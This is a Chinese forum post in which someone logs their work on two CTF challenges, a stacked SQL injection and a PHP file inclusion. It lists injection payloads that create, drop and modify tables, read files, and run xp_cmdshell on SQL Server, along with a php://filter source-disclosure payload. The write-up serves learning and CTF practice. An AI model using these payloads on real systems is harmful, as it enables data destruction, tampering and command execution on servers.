|
|
楼主 |
发表于 2021-9-21 15:13:32
|
显示全部楼层
补一下昨天的：
做了两道题：
①[强网杯 2019]随便注
这道题看名字就知道是SQL注入的题目，但是尝试过几种常见的方法之后，发现不太行，看了看网上关于SQL注入的总结之后，发现这是堆叠查询的应用。（因为在尝试的过程中发现，这个查询框中做了黑名单过滤）
PS：堆叠查询的学习总结：
原理：
在SQL中我们知道分号（；）代表着一段SQL语句的结束。但是当我们在书写SQL语句时，在一个分号后面书写的SQL语句却同样可以顺利的执行，这就是堆叠查询（注入）。
局限性（引用）：
堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到API或者数据库引擎不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
个人的测试环境是php+mysql，是可以执行的，此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句，但是这种注入方式并不是十分的完美的。在我们的web系统中，因为代码通常只返回一个查询结果，因此，堆叠注入第二个语句产生错误或者结果只能被忽略，我们在前端界面是无法看到返回结果的。因此，在读取数据时，我们建议使用union（联合）注入。同时在使用堆叠注入之前，我们也是需要知道一些数据库相关信息的，例如表名，列名等信息。
实例：
一. Mysql
（1）新建一个表 select * from users where id=1;create table test like users;
执行成功，我们再去看一下是否新建成功表。
2. 删除上面新建的test表select * from users where id=1;drop table test;
3. 查询数据select * from users where id=1;select 1,2,3;
加载文件 select * from users where id=1;select load_file('c:/tmpupbbn.php');
4. 修改数据select * from users where id=1;insert into users(id,username,password)
values('100','new','new');
二. Sql server
1. 增加数据表select * from test;create table sc3(ss CHAR(8));
2. 删除数据表select * from test;drop table sc3;
(3)查询数据select 1,2,3;select * from test;
4. 修改数据select * from test;update test set name='test' where id=3;
5. sqlserver中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
三. Oracle
上面的介绍中我们已经提及，oracle不能使用堆叠注入，可以从图中看到，当有两条语句在同一行时，直接报错。无效字符。后面的就不往下继续尝试了。
四. Postgresql
1. 新建一个表 select * from user_test;create table user_data(id DATE);
可以看到user_data表已经建好。
2. 删除上面新建的user_data表select * from user_test;delete from user_data;
3. 查询数据select * from user_test;select 1,2,3;
4. 修改数据 select * from user_test;update user_test set name='modify' where name='张三'
②：[ACTF2020 新生赛]Include
这道题是文件包含类型的题目，这道题中用到的好像是PHP伪协议
由于是PHP文件，于是用php://filter/read=convert.base64-encode/resource=xxx.php来读取文件源代码（得到用base64编码的源代码）
PHP伪协议的基本应用：
1、利用base64获得源码
2、通过读写编码实行绕过操作
使用方法：
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称，以管道符（|）分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称，以管道符（|）分隔。 可选
<；两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
|
|
发表于 2021-9-18 19:41:04